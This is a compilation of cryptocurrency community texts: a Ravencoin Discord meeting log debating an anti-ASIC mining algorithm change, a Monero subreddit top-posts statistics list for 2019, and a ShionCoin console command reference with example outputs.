Sevvy (y rvn pmp?)Last Friday at 4:15 PM
probably won't know if the action was needed until after you take the action
liqdmetalLast Friday at 4:15 PM
we are at risk of being interventionistas
acting under opacity
TronLast Friday at 4:15 PM
Needs to spit out at least 256 bit. Preferably 512 bit.
LSJI07 - MBITLast Friday at 4:15 PM
ok
TronLast Friday at 4:15 PM
If it isn't 512 bit, it'll cause some extra headache for the GPU mining software.
liqdmetalLast Friday at 4:16 PM
i seek to avoid iatrogenics
TronLast Friday at 4:16 PM
Similar to the early problems when all the algos except the first one were built for 64-bytes (512-bit) inputs.
Had to look that one up. TIL iatrogenics
JerozLast Friday at 4:17 PM
I have to google most of @liqdmetal's vocabulary :smile:
liqdmetalLast Friday at 4:17 PM
@Tron tldr: basically the unseen, unintended negative side effects of the asic "cure"
Sevvy (y rvn pmp?)Last Friday at 4:18 PM
10 dolla word
liqdmetalLast Friday at 4:19 PM
we need a really strong case to intervene in what has been created.
TronLast Friday at 4:19 PM
I agree. I'm less concerned with the technical risk than I am the potential split risk experienced multiple times by Monero.
Sevvy (y rvn pmp?)Last Friday at 4:20 PM
tron do you agree that forking the ravencoin chain presents unique risks compared to other chains that aren't hosting assets?
JerozLast Friday at 4:21 PM
Yes, if you fork, you need to figure out for each asset which one you want to support.
Sevvy (y rvn pmp?)Last Friday at 4:21 PM
yeah. and the asset issuer could have a chain preference
TronLast Friday at 4:22 PM
@Sevvy (y rvn pmp?) Sure. Although, I'd expect that the asset issuers will be honor the assets on the dominant chain. Bigger concern is the branding confusion of multiple forks. See Bitcoin, Bitcoin Cash, Bitcoin SV for an example. We know they're different, but do non-crypto folks?
Hans_SchmidtLast Friday at 4:22 PM
I thought that the take-away from the recently published analyses and discussions was that ASICs for RVN may be active, but if so then they are being not much more effective than GPUs.
Sevvy (y rvn pmp?)Last Friday at 4:22 PM
agreed on all accounts there tron
TronLast Friday at 4:23 PM
I'm not yet convinced ASICs are on the network.
KAwARLast Friday at 4:23 PM
It would be better to damage an asic builder by forking after they made major expenses. Creating for them the type of deficit that could be negated by just buying instead of mining. Asic existence should be 100 percent confirmed before fork.
liqdmetalLast Friday at 4:23 PM
170million dollar question is right.lol
TronLast Friday at 4:24 PM
I've had someone offer to connect me to the folks at Fusion Silicon.
Sevvy (y rvn pmp?)Last Friday at 4:25 PM
yes. and if they are active on the network they are not particularly good ASICs
which makes it a moot point probably
TronLast Friday at 4:26 PM
The difficult part of this problem is that by the time everyone agrees that ASICs are problematic on the network, then voting the option in is likely no longer an option.
Sevvy (y rvn pmp?)Last Friday at 4:26 PM
yes. part of me wonders if we would say "okay, the clock on the asic countdown is reset by this new algo. but now the race is on"
[Dev-Happy] BlondfrogsLast Friday at 4:26 PM
There are always risks when making a change that will fork the network. We want wait to long though, as tron said. It wont be a voting change. it will be a mandatory change at a block number.
Sevvy (y rvn pmp?)Last Friday at 4:26 PM
acknowledge the inevitable
MiloLast Friday at 4:27 PM
I had just a small question from my side. When do you think the android version would be published, and do you maybe have a time-frame for the others?
TronLast Friday at 4:27 PM
Quick poll. How would everyone here feel about a BIP9 option - separate from the new features that can be voted in?
KAwARLast Friday at 4:27 PM
Maybe voting should not be a strictly blockchain vote. A republic and a democratic voice?
[Dev-Happy] BlondfrogsLast Friday at 4:27 PM
@Milo We can try and get a beta out next week, and publish soon after that.
MiloLast Friday at 4:28 PM
@[Dev-Happy] Blondfrogs :thumbsup::slight_smile:
[Dev-Happy] BlondfrogsLast Friday at 4:28 PM
BIP9 preemptive vote. I like it.
TronLast Friday at 4:30 PM
The advantage to a BIP9 vote is that it puts the miners and mining pools at a clear majority before activation.
LSJI07 - MBITLast Friday at 4:30 PM
Centralisation is inevitable unless we decide to resist it. ASIC's are market based and know the risks and rewards possible. A key step in resisting is sending a message. An algo change to increase asic resistance is imho a strong message. A BIP9 vote now would also be an indicator of bad actors early....
TronLast Friday at 4:30 PM
The disadvantage is that it may not pass if the will isn't there.
LSJI07 - MBITLast Friday at 4:30 PM
Before assets are on main net and cause additional issues.
KAwARLast Friday at 4:31 PM
I am not schooled in coding to have an educated voice. I only understand social problems and how it affects the economy.
SpyderDevLast Friday at 4:31 PM
All are equal on RVN
TronLast Friday at 4:31 PM
It is primarily a social problem. The tech change is less risky and is easier than the social.
LSJI07 - MBITLast Friday at 4:32 PM
All can have a share....people who want more of a share however pay for the privilege and associated risks.
KAwARLast Friday at 4:33 PM
Assets and exchange listings need to be consistent and secure.
brutoidLast Friday at 4:36 PM
I'm still not entirely clear on what the overall goal to the algo change is? Is it just to brick the supposed ASICs (unknown 45%) which could still be FPGAs as seen from the recent block analysis posted in the nest. Is the goal to never let ASICs on? Is it to brick FPGAs ultimately. Are we making Raven strictly GPU only? I'm still unclear
LSJI07 - MBITLast Friday at 4:37 PM
What about the future issue of ASICs returning after a BIP9 fork "soon"? Are all following the WP as a community? i.e asic resistant or are we prepared to change that to asic resistant for early coin emission. Ideally we should plan for the future. Could the community make a statement that no future algo changes will be required to incentivise future public asic manufacturers?
Lol. Same question @brutoid
brutoidLast Friday at 4:37 PM
Haha it is
You mind-beamed me!
[Dev-Happy] BlondfrogsLast Friday at 4:38 PM
The is up to the community.
Currently, the feel seems like the community is anti asic forever.
The main issue is getting people to upgrade.
KAwARLast Friday at 4:38 PM
Clarity is important. Otherwise we are attacking windmills like Don Quixote.
brutoidLast Friday at 4:39 PM
I'm not getting the feeling of community ASIC hate if the last few weeks of discussion are anything to go by?
Hans_SchmidtLast Friday at 4:39 PM
A unilateral non-BIP9 change at a chosen block height is a serious thing, but anti-ASIC has been part of the RVN philosophy since the whitepaper and is therefore appropriate for that purpose.
[Dev-Happy] BlondfrogsLast Friday at 4:39 PM
We can use the latest release as an example. It was a non forking release, announced for 2 weeks. and only ~30% of the network has upgraded.
TronLast Friday at 4:39 PM
@Hans_Schmidt Well said.
liqdmetalLast Friday at 4:40 PM
I'm not concerned about a "asic hardware problem" so much as I believe it more likely what we are seeing is several big fish miners (perhaps a single really big fish). For now I recommend standing pat on x16r. In the future I can see an algo upgrade fork to keep the algo up to date. If we start fighting against dedicated x16r hashing machines designed and built to secure our network we are more likely to go down in flames. The custom SHA256 computers that make the bitcoin the most secure network in existence are a big part of that security. If some party has made an asic that performs up to par or better than FPGA or GPU on x16r, that is a positive for this network, a step towards SHA256 security levels. It is too bad the community is in the dark regarding their developments. Therefore I think the community has to clarify its stance towards algorithm changes. I prefer a policy that will encourage the development of mining software, bitstreams and hardware by as many parties as possible. The imminent threat of ALGO fork screws the incentive up for developers.
JerozLast Friday at 4:40 PM
@brutoid the vocal ones are lenient towards asics, but the outcome of the 600+ votes seemed pretty clear.
brutoidLast Friday at 4:40 PM
This is my confusion
TronLast Friday at 4:41 PM
More hashes are only better if the cost goes up proportionally. Machines that do more hashes for less \$ doesn't secure the network more, and trends towards centralization.
JerozLast Friday at 4:41 PM
I would argue for polling ever so often as it certainly will evolve dynamically with the state of crypto over time.
TronLast Friday at 4:41 PM
Measure security in two dimensions. Distribution, and \$/hash.
liqdmetalLast Friday at 4:41 PM
and volume of hash
traysiLast Friday at 4:42 PM
45% of the hashrate going to one party is unhealthy, and standing pat on x16r just keeps that 45% where it is.
TronLast Friday at 4:42 PM
Volume doesn't matter if the cost goes down. For example, lets say software shows up that does 1000x better than the software from yesterday, and everyone moves to it. That does not add security. Even if the "difficulty" and embedded hashes took 1000x more attempts to find.
brutoidLast Friday at 4:42 PM
My issue is defintely centralization of hash and not so much what machine is doing it. I mine with both GPU and FPGA. Of course, the FPGAs are not on raven
TJayLast Friday at 4:44 PM
easy solution is just to replace a few of 16 current hash functions, without messing with x21r or whatever new shit
TronLast Friday at 4:44 PM
How do folks here feel about allowing CPUs back in the game?
traysiLast Friday at 4:44 PM
Botnets is my concern with CPUs
brutoidLast Friday at 4:44 PM
Botnets is my concern
SpyderDevLast Friday at 4:44 PM
Yes please.
LSJI07 - MBITLast Friday at 4:44 PM
the poll votes seem not very security conscious. More of day miners chasing profits. I love them bless! Imho the future is bright for raven, however these issues if not sorted out now will bite hard long term when asset are on the chain and gpu miners are long gone.....
ZaabLast Friday at 4:45 PM
How has the testing of restricted assets been on the test net?
liqdmetalLast Friday at 4:45 PM
Agreed. I dont think x16r is obsolete like that yet however
[Dev-Happy] BlondfrogsLast Friday at 4:45 PM
@Zaab not enough testing at the moment.
HedgerLast Friday at 4:45 PM
Yes, how is the Testing going?
justinjjaLast Friday at 4:45 PM
Like randomX or how are cpus going to be back in the game?
TronLast Friday at 4:45 PM
@Zaab Just getting started at testing at the surface level (RPC calls), and fixing as we go.
ZaabLast Friday at 4:45 PM
And or any updates on the review of dividend code created by the community
Lokar -=Kai=-Last Friday at 4:45 PM
if the amount of hash the unknown pool has is fixed as standarderror indicated then waiting for the community of FPGAers to get onto raven might be advantageous if the fork doesn't hurt FPGAs.
ZaabLast Friday at 4:45 PM
Can't rememeber who was on it
SpyderDevLast Friday at 4:45 PM
@Zaab But we are working on it...
Lokar -=Kai=-Last Friday at 4:46 PM
more hash for votes
JerozLast Friday at 4:46 PM
@Maldon is, @Zaab
TronLast Friday at 4:46 PM
@Zaab There are unit tests and functional tests already, but we'd like more.
[Dev-Happy] BlondfrogsLast Friday at 4:46 PM
@Zaab Dividend code is currently adding test cases for better security. Should have more update on that next meeting
KAwARLast Friday at 4:46 PM
Absolute democracy seems to resemble anarchy or at least civil war. In EVE online they have a type of community voice that get voted in by the community.
ZaabLast Friday at 4:46 PM
No worries was just curious if it was going as planned or significant issues were being found
Obviously some hiccups are expected
More testing is always better!
TronLast Friday at 4:47 PM
Who in here is up for a good civil war? :wink:
ZaabLast Friday at 4:47 PM
Tron v Bruce. Celebrity fight night with proceeds to go to the RVN dev fund
SpyderDevLast Friday at 4:48 PM
Cagefight or mudpit?
JerozLast Friday at 4:48 PM
talking about dev funds..... :wink:
Pho3nix Monk3yLast Friday at 4:49 PM
and there goes the conversation....
KAwARLast Friday at 4:49 PM
I am trying to be serious...
ZaabLast Friday at 4:49 PM
Sorry back to the ascii topic!
traysiLast Friday at 4:49 PM
@Tron What do we need in order to make progress toward a decision on the algo? Is there a plan or a roadmap of sorts to get us some certainty about what we're going to do?
LSJI07 - MBITLast Friday at 4:50 PM
Could we have 3 no BIP9 votes? No1 Friendly to asics, retain status quo. No2 change to x17r minimal changes etc, with no additional future PoW/algo upgrades. No3. Full Asic resistance x22r and see what happens...
:thonk~1:
Sounds messy....
TronLast Friday at 4:51 PM
Right now we're in research mode. We're building CNv4 so we can run some metrics. If that goes well, we can put together x22rc and see how it performs. It will likely gore everyone's ox. CPUs can play, GPUs work, but aren't dominant. ASICs VERY difficult, and FPGAs will have a tough time.
ZaabLast Friday at 4:51 PM
Yeah i feel like the results would be unreliable
TronLast Friday at 4:51 PM
Is this good, or do we lose everyone's vote?
PlayHardLast Friday at 4:52 PM
Fpga will be dead
Lokar -=Kai=-Last Friday at 4:52 PM
why isn;t a simple XOR or something on the table?
ZaabLast Friday at 4:52 PM
The multiple bip9 that is
Lokar -=Kai=-Last Friday at 4:52 PM
something asic breaking but doesn't greatly complicate ongoing efforts for FPGA being my point.
justinjjaLast Friday at 4:52 PM
How are you going to vote for x22rc?
Because if by hashrate that wouldn't pass.
traysiLast Friday at 4:52 PM
Personally I like the idea of x22rc but I'd want to investigate the botnet threat if CPUs are allowed back in.
TronLast Friday at 4:52 PM
XOR is on the table, and was listed in my Medium post. But, the social risk of chain split remains, for very little gain.
traysiLast Friday at 4:53 PM
@Lokar -=Kai=- A small change means that whoever has 45% can probably quickly adapt.
LSJI07 - MBITLast Friday at 4:53 PM
Research sounds good. x22rc could be reduce to x22r for simplicity...
TronLast Friday at 4:53 PM
x22r is a viable option. No CNv4.
LSJI07 - MBITLast Friday at 4:53 PM
Don't know how much time we have to play with though...
Lokar -=Kai=-Last Friday at 4:53 PM
if they have FPGAs yes if they have ASIC then not so much, but I guess that gets to the point, what exactly are we trying to remove from the network?
PlayHardLast Friday at 4:54 PM
Guys my name is Arsen and we designed x16r fpga on bcus. Just about to release it to the public. I am buzzdaves partner.
Cryptonight
Will kill us
But agreed
Asic is possible on x16r
And you dont need 256 core
Cores
traysiLast Friday at 4:55 PM
Hi Arsen. Are you saying CN will kill "us" meaning RVN, or meaning FPGA?
JerozLast Friday at 4:55 PM
This is what im afraid of ^ an algo change killing FPGA as I have the feeling there is a big fpga community working on this
PlayHardLast Friday at 4:55 PM
Fpgas ))
whitefire990Last Friday at 4:55 PM
I am also about to release X16R for CVP13 + BCU1525 FPGA's. I'm open to algo changes but I really don't believe in CPU mining because of botnets. Any CNv4 shifts 100% to CPU mining, even if it is only 1 of the 22 functions.
Lokar -=Kai=-Last Friday at 4:55 PM
namely FPGAs that aren;t memory equipped
like fast mem
not ddr
PlayHardLast Friday at 4:55 PM
Hbm non hbm
Cryptonight
whitefire990Last Friday at 4:56 PM
Right now with both Buzzdave/Altered Silicon and myself (Zetheron) about to release X16R for FPGA's, then the 45% miner's share will decrease to 39% or less.
PlayHardLast Friday at 4:56 PM
Will be dead for fpga
LSJI07 - MBITLast Friday at 4:56 PM
sound so x22r is fpga "friendly" ... more so than asic anyway...
PlayHardLast Friday at 4:56 PM
But a change must be planned
X16r is no way possible to avoid asics
TJayLast Friday at 4:56 PM
@LSJI07 - MBIT I would say less friendly...
whitefire990Last Friday at 4:57 PM
As I mentioned in thenest discussion, asic resistance increases with the square of the number of functions, so X21R is more asic resistant than X16R, but both are pretty resistant
PlayHardLast Friday at 4:58 PM
Yeah more algos make it heavier on ASIC
DirkDiggler (Citadel Architect)Last Friday at 4:58 PM
My interpretation of the whitepaper was that we used x16r as it was brand new (thus ASIC resistant), and that was to ensure a fair launch... We've launched... I don't like the idea of constantly forking to avoid the inevitable ASICs.
x16r was a great "experiment" before we had any exchange listings... that ship has sailed though... not sure about all these x22rs lmnop changes
KAwARLast Friday at 5:00 PM
I believe that it is easier to change the direction of a bicycle than an oil tanker. We feel more like a train. We should lay out new tracks and test on them and find benefits that are acceptable to everyone except train robbers. Then open the new train station with no contentious feelings except a silently disgruntled minority group. ???
Hans_SchmidtLast Friday at 5:01 PM
The most productive action the community can do now re ASICs is to voice support for the devs to make a non-BIP9 change at a chosen block height if/when the need is clear. That removes the pressure to act rashly to avoid voting problems.
LSJI07 - MBITLast Friday at 5:01 PM
Thats why im proposing to fork at least once to a more asic resistant algo (but FPGA "friendly/possible"), with the proviso ideally that no more PoW algo forks are require to provide future ASICs some opportunity to innovate with silicon and efficiency.
TJayLast Friday at 5:01 PM
folks should take into account, that high end FPGAs like BCU1525 on x16r can't beat even previous gen GPUs (Pascal) in terms of hash cost. so they aren't a threat to miners community
PlayHardLast Friday at 5:02 PM
A proper change
Requires proper research
eyz (Silence)Last Friday at 5:02 PM
Just so I'm clear here, we are trying to boot ASICS, don't want CPUs because of Botnets, and are GPU and FPGA friendly right?
PlayHardLast Friday at 5:02 PM
It is not a quick one day process
eyz (Silence)Last Friday at 5:02 PM
If there is a bip9 vote there needs to be a clear explanation as I feel most in the community don't understand exactly what we are trying to fix
TronLast Friday at 5:03 PM
@Hans_Schmidt I like that route. It has some game theoretics. It gives time for miners to adapt. It is only used if needed. It reduces the likelihood of ASICs dominating the network, or even being built.
[Dev-Happy] BlondfrogsLast Friday at 5:03 PM
Hey guys. great convo. We are of course looking to do the best thing for the community and miner. We are going to be signing off here though.
justinjjaLast Friday at 5:03 PM
TJay that comes down to power cost.
If your paying 4c/kw gpus all the way.
But if your a home miner in europe an fpga is your only chance
LSJI07 - MBITLast Friday at 5:03 PM
@Hans_Schmidt How do we decide the block limit and when sufficient evidence is available? I would say we have had much compelling information to date...
[Dev-Happy] BlondfrogsLast Friday at 5:03 PM
Thanks for participating. and keep up the good work :smiley:
Have a good weekend.
CAWWWW
TronLast Friday at 5:03 PM
I haven't seen any compelling evidence of ASICs - yet.
Pho3nix Monk3yLast Friday at 5:03 PM
:v:
JerozLast Friday at 5:04 PM
I suggest to continue discussion in #development and #thenest :smiley:
thanks all!
TronLast Friday at 5:04 PM
Cheers everyone!
KAwARLast Friday at 5:04 PM
Agree with Hans.
DirkDiggler (Citadel Architect)Last Friday at 5:04 PM
thanks Tron
Pho3nix Monk3yLast Friday at 5:04 PM
Ending here. continue in Nest if wanted
DirkDiggler (Citadel Architect)Last Friday at 5:04 PM
I am waiting for compelling evidence myself.
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##### Subreddit Stats: Monero top posts from 2019-01-07 to 2020-01-05 20:57 PDT

Period: 363.37 days
Submissions Comments
Total 1000 32255
Rate (per day) 2.75 88.32
Unique Redditors 413 4359
Combined Score 87276 146123

### Top Submitters' Top Submissions

1. 11193 points, 116 submissions: dEBRUYNE_1
1. 'Monero in many respects is closer to what Bitcoin was intended to be than Bitcoin itself' - binaryFate (245 points, 61 comments)
2. "It was a huge misstep that Satoshi’s original design has weak privacy. It set in stone an expectation that digital assets must have worse privacy than cash. Didn’t have to be this way." - Udi Wertheimer ‏ (215 points, 61 comments)
3. 'Privacy should not be optional (and that’s why we made it a default).' - Firefox (214 points, 24 comments)
4. Monero receives 'not a security' rating (best possible rating) by Crypto Rating Council (joint council created by Coinbase, Kraken, Circle/Poloniex, Bittrex, Paxos/itBit, Cumberland, Genesis and Grayscale) (214 points, 30 comments)
5. GUI v0.14.1.0 'Boron Butterfly' (with Ledger Nano X and Trezor Model T support) released! (213 points, 243 comments)
6. 'Apple CEO Tim Cook says privacy isn't a feature that should be built into products after the fact' (212 points, 39 comments)
7. "you’ve been asking... we finally delivered! \$XMR is live in [Exodus] Eden version 19.2.2" (202 points, 68 comments)
8. The Bitcoin.com Exchange has listed Monero (190 points, 73 comments)
9. Preliminary information thread regarding the scheduled protocol upgrade of November 30 (183 points, 141 comments)
10. GUI v0.15.0.1 'Carbon Chamaeleon' released! (177 points, 278 comments)
2. 3214 points, 41 submissions: SamsungGalaxyPlayer
1. Some generous donor(s) topped off ALL of the proposals in funding required! (193 points, 38 comments)
2. Tentative Monero 0.15 Release Schedule (162 points, 51 comments)
3. Monero: Monero Adds Blockchain Pruning and Improves Transaction Efficiency (143 points, 23 comments)
4. Logs from the 2.5 hr dev meeting on Monero's PoW (124 points, 124 comments)
5. New logo for the Monero Community Workgroup YouTube channel, courtesy of u/anhdres! (119 points, 19 comments)
6. Announcing the "Beware of Bitcoin" campaign for Mastering Monero (117 points, 98 comments)
7. Preliminary support for Monero on BTCPayServer has been merged! (116 points, 19 comments)
8. OpenBazaar dev call tomorrow discussing proof of concept for Monero integration (111 points, 21 comments)
9. "Linking Anonymous Transactions via Remote Side-Channel Attacks" - Now-Fixed Network Analysis Attacks on Monero and Zcash (102 points, 50 comments)
10. Monero added to Exodus mobile (100 points, 33 comments)
3. 3157 points, 32 submissions: OsrsNeedsF2P
4. 2106 points, 29 submissions: ErCiccione
1. Church Of Monero: Enough is enough - How the leader of the Church tried to fool the community to make look like the Church is organizing the Monero Konferenco and even adding his own Monero address on the flyer (166 points, 268 comments)
2. [URGENT]Call for translators! - We have two days to submit as many translations as possible for the next release of the GUI wallet! We need your help! (123 points, 46 comments)
3. Monero translators, we need you to make one final sprint! The code freeze is imminent. (112 points, 15 comments)
4. 2 new projects joined the Monero Ecosystem! MoneroBox, a plug-and-play, zero-configuration Monero full node and Monero-Javascript, Monero wallet and daemon JavaScript API (107 points, 12 comments)
5. PSA: We've posted an announcement regarding the potentially compromised CLI binaries on getmonero.org (101 points, 47 comments)
6. New language for Monerujo: Esperanto! Will be available in next release (97 points, 6 comments)
7. Monero Python - A comprehensive Python module for handling Monero cryptocurrency, has officially joined the Monero Ecosystem Project! (94 points, 12 comments)
8. Getmonero.org is now available in German! (89 points, 16 comments)
9. Getmonero.org updated: New user friendly download page, Welcome video in Brazilian Portuguese, 5 new merchants accepting Monero and more (76 points, 12 comments)
10. My last proposal as coordinator of the Localization Workgroup has ended. A recap, some updates, plans for the future of the internationalization of Monero and a huge thanks (73 points, 22 comments)
5. 1257 points, 14 submissions: xmrhaelan
1. A response to the Reuters article about Monero (183 points, 28 comments)
2. CoinDesk research shows Monero is #4 by Reddit post volume community metrics. Kudos to you all! (172 points, 57 comments)
3. A response to Coinbase regarding their criticism of Monero’s approach to PoW security (171 points, 91 comments)
4. Graphic idea for Boron Butterfly release, courtesy of Monero Outreach (170 points, 36 comments)
5. PSA: Seeking Volunteer Reviewers for PoW RandomX (104 points, 55 comments)
6. PSA: Mine Monero to Support the Network (77 points, 80 comments)
7. Looking for ways to help, volunteer, or contribute to the Monero community? Look no further! (70 points, 20 comments)
8. SWOT Analysis of Monero [draft] (59 points, 35 comments)
9. Monero Konferenco Press Release (55 points, 9 comments)
10. A Simplified Guide to Monero Wallets, from Monero Outreach (40 points, 9 comments)
6. 1220 points, 9 submissions: geonic_
7. 1186 points, 12 submissions: hyc_symas
1. RandomX Audit Status (148 points, 29 comments)
2. RandomX Status Update (134 points, 82 comments)
3. RandomX Audit Status - Final (130 points, 54 comments)
4. RandomX Audit Status (116 points, 9 comments)
5. RandomX Audit Status (110 points, 24 comments)
6. RandomX testnet (99 points, 23 comments)
7. Blockchain Growth stats (87 points, 26 comments)
8. RandomX Auditor Selection (86 points, 47 comments)
9. CCS: RandomX Audit now in Funding Required (78 points, 45 comments)
10. RandomX Audit Funding Request (76 points, 14 comments)
8. 1171 points, 13 submissions: Thunderosa
1. Blend in the Crowd with Carbon Chamaeleon v0.15.0.0 (161 points, 25 comments)
2. @monero Twitter banner (141 points, 25 comments)
3. A little Christmas card for my favorite freaks. Happy Holidays! (136 points, 4 comments)
4. Boron Butterfly ASCII (117 points, 23 comments)
5. Monero Torch (111 points, 73 comments)
6. Konferenco funding! (105 points, 19 comments)
7. supportxmr-gui Update - Twice the features, half the size. All vanilla. (98 points, 15 comments)
8. Happy 5th (70 points, 16 comments)
9. Explore the expert speakers and important topics of Monero Konferenco 2019! (57 points, 11 comments)
10. RandomX - Monero and Arweave to Validate New Proof-of-Work Algorithm (52 points, 12 comments)
9. 1129 points, 14 submissions: pinkphloid
1. [NEWS] CAKE WALLET for Monero has crossed 20,000 unique installs on iOS. (123 points, 69 comments)
2. [PUBLIC BETA] Cake Wallet for Monero is now available on Android! (104 points, 48 comments)
3. Going to the Monero Konferenco? Don’t miss MoneroTalk’s party Saturday night Casa De Monero! It’s THE party of the weekend! (99 points, 13 comments)
4. [UPDATE] Cake Wallet version 3.1.7, now with Address book, Back-up to iCloud and other locations, and BCH is back in the exchange! (92 points, 70 comments)
5. [UPDATE] Cake Wallet version 3.1.17 with Hidden balance mode plus other new useful features! (90 points, 16 comments)
6. Cake Wallet is hiring! (88 points, 14 comments)
7. If you like using Cake Wallet, please vote! Thank you 🙏🏼🙏🏼 (87 points, 20 comments)
8. NYC Monero meetup featuring guest speaker Justin Ehrenhofer of XMR Community Work Group. - by Cake Wallet and Monero Talk (82 points, 10 comments)
9. [UPDATE] Cake Wallet - Version 3.1.20 Black Forest Cake Edition (73 points, 23 comments)
10. Cake Wallet (small news) - we have acquired the domain cakewallet.com! (67 points, 16 comments)
10. 1054 points, 13 submissions: jman76358
1. Monero receives A rating (194 points, 43 comments)
2. Exodus Wallet now supports Monero (128 points, 38 comments)
3. I tell a lot of people about Monero who don't know anything about crypto and they instantly get it. They ask me the same thing over and over, so why do people still use Bitcoin? (127 points, 119 comments)
4. How trustyworthy is the Cake wallet for iOS? (80 points, 43 comments)
5. Why don't other coin devs like talking about fungibility? They seem to shrug it off even though it's a necessary component to being a currency. (77 points, 85 comments)
6. Any idea what's going on with the Official Monero Twitter page? (67 points, 33 comments)
7. Should Quantum Resistance research for XMR be started soon? I would love to see what the great minds of the dev community could come up with ! (64 points, 55 comments)
8. The End of Mainstream Privacy is Upon Us (62 points, 28 comments)
9. Non-KYC exchanges coming to an end, even for small amounts. DEX with Monero as main coin when? (57 points, 18 comments)
10. I find it funny that people think the gov doesn’t want people to use bitcoin, trust me , they’re estatic that people want to voluntarily be tracked and surveilled. (55 points, 45 comments)

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##### ShionCoin Console Basics

The following is a brief overview of the commands provided by the "shc" utility console program.
The utility program "shc" communication with the server (shcoind) are restricted to the local host that the service is running. You must use the stratum API in order to access the server from a remote machine.
A sub-set of all the commands are provided here. This guide attempts to concentrate on commonly used commands that are useful. Run "shc help" for a full list of commands. Run "shc help " for details about running that particular command.
You can enter an interactive mode by running "shc --prompt".
Run the daemon with "shcoind --debug" in order to print additional information to the log file (on linux, "/valib/share/shcoind.log") for diagnostic purposes.
ShionCoin "pub-key" coin addresses typically starts with "S" or "R". A "script address" will start with "1" and a seg-wit address will start with "3". Coin addresses are verified when entered on the command-line in order to ensure that the address is prudent in respect to the coin interface.
All fees for extended transactions, such as creating context and aliases, are either stored (for update purposes) in a local extended account and/or are provided as mining fees. You can use the "wallet.donate" command to intentionally create a transaction which includes a specified mining reward value.

# Wallet Commands

The wallet commands provides capabilities to transfer funds and manage accounts. Each account can contain several coin addresses and has a counter-part "extended account" that is not visible.
Wallet Info: wallet.info
Display statistical and runtime information on wallet operations.
shc wallet.info { "version": 3010000, "walletversion": 60000, "balance": 658, "keypoololdest": 1517000561, "keypoolsize": 101 }
Create Coin Address: wallet.new
The "wallet.new" command is used to create a normal (non seg-wit) coin address and associate it with an account name. Coin addresses may be automatically generated for accounts, for example in order to return "change" in a fund transfer transaction. All change is directly returned to the associated account.
shc wallet.new test S2fzfzf1SStvaMzjGpCtYKxY3t8PXus9Ci
List Accounts: wallet.list
The "wallet.list" command provides a balance of all accounts in the coin wallet.
shc wallet.list { "": 0, "bank": 658, "system": 0 }
Three accounts are created by default. The "" account receives coinbase rewards which are then distributed to users based on their stratum stats. The "bank" account is a 0.1% cut of the rewards received from the stratum mining pool. The "system" account is currently reserved for a cpu-miner which attempts a single mining operation each time new task work is assigned to miners. The frequency of how often this occurs is based on tracking the "luck" of past attempts.
List Coin Addresses: wallet.listaddr
The "wallet.listaddr" command will list all of the coin addresses associated with an account.
shc wallet.listaddr test ["S2fzfzf1SStvaMzjGpCtYKxY3t8PXus9Ci"]
Create Transaction: wallet.send
The "wallet.send" command is the primary method of sending funds.
All ShionCoin transactions are sent with at least the 0.0001 SHC minimum fee. Providing the minimum fee is provided, any fee can is permitted and affects the priority of the transaction.
shc wallet.send bank S2fzfzf1SStvaMzjGpCtYKxY3t8PXus9Ci 10 307711dace8c0583b744af8acd1df2073e36b0c7a54b8830a15ae146f8c22ddb
Test Create Transaction: wallet.tsend
You can "test send" a transaction in order to determine the aproximate fee and size that would result.
shc wallet.tsend bank SLbnKamvSx8FhaBNpHUwffFDLZ16J8phdX 10 { "amount": 10, "tx-amount": 98.999900, "size": 300, "virt-size": 226, "fee": 0.000100, "inputs": 1, "priority": 1085539000000 }
Create Batch Transaction(s): wallet.bsend
The "wallet.bsend" command allows you to transfer funds that are more complicated than would be permitted in a single transaction. Multiple transactions will be created, as neccessary, in order to send the specified coin value. The total value commited to be sent may be lower than the value requested under certain circumstances.
Create Certified Transaction: wallet.csend
The "wallet.csend" associated a pre-created certificate with the coin transfer. The certificate may be used to associate with the certificate, or provide a method to identity the source of the funds.
shc wallet.csend bank SLbnKamvSx8FhaBNpHUwffFDLZ16J8phdX 10
Create Stamp Transaction: wallet.stamp
The "wallet.stamp" command allows you to create a short message (up to 135 characters), or reference a geodetic location, to associate with a local coin address. The stamp transaction is the exclusive method of claiming spring matix location coins. Creating a stamp in the format "geo:," will result in a single SHC coin, once processed on the network, being rewarded for all locations not yet discovered in the spring matrix. A minimum transaction fee (0.0001) is applied for each stamp transaction created.
Use the "ctx.findloc" command in order to search for locations active in the sprint matrix.
Validate Address: wallet.donate
Donated coins are added to the upcoming block reward. Donations may be optionally associated with a certificate. The maximum donation value in a single transaction is 500 coins. Donations are associated with the coin address that generates them, and may contain a geodetic stamp depending on configuration and availability.
The total cost will include the donation coin value specified plus a minimum transaction fee (0.0001 SHC).
{ "version": 1, "flag": 1025, "txid": "ace04609d0eca593b73a3f1afb1dcfeb10049c4ab4098ff9b17e01da65bf2ec6", .. "ident": { "version": 3, "expire": " ", "geo": "46.770000,113.980000", "addr": "SFrXpo9ykcSeycTdMaFu3xWwJFxN5gkUH4" } }
Validate Address: wallet.validate
The "wallet.validate" command returns general information about the coin address specified, including whether the coin address is contained in the local wallet.
shc wallet.validate SLbnKamvSx8FhaBNpHUwffFDLZ16J8phdX { "isvalid": true, "address": "SLbnKamvSx8FhaBNpHUwffFDLZ16J8phdX", "ismine": true, "account": "system" }
Validate Address: wallet.key
Obtain a code that identifies the private key of a coin address.
Validate Address: wallet.setkey
Create a new coin address, for the specified account, with a private key code.
Validate Address: wallet.keyphrase
Obtain a set of phrases that identify the private key associated with a coin address.
Validate Address: wallet.setkeyphrase
Create a coin address in the wallet given a key phrase.
Export Wallet (json): wallet.export
Creates a JSON formatted backup of all the accounts managed.
Export Wallet (datafile): wallet.exportdat
Creates a binary backup, in the tradition bitcoin wallet format, of all the accounts in the wallet.
Import Wallet (json): wallet.import
Creates a JSON formatted backup of all the accounts managed.
Scan Wallet: wallet.rescan
Cycle through all known wallet transactions and verify their state in the block-chain.

# Block Commands

BlockChain Info: block.info
Print summarized information about the block-chain.
shc block.info { "version": 2000000, "blockversion": 2, "walletversion": 60000, "blocks": 77029, "difficulty": 0.000488, "pooledtx": 0, "currentblockhash": "5c4e3a637d857c7df925dda1c017dd3864c0fb95c1421276619810f5b95fc8c5", "errors": "" }
Print Block (hash): block.get
Print detailed information about the specified block hash.
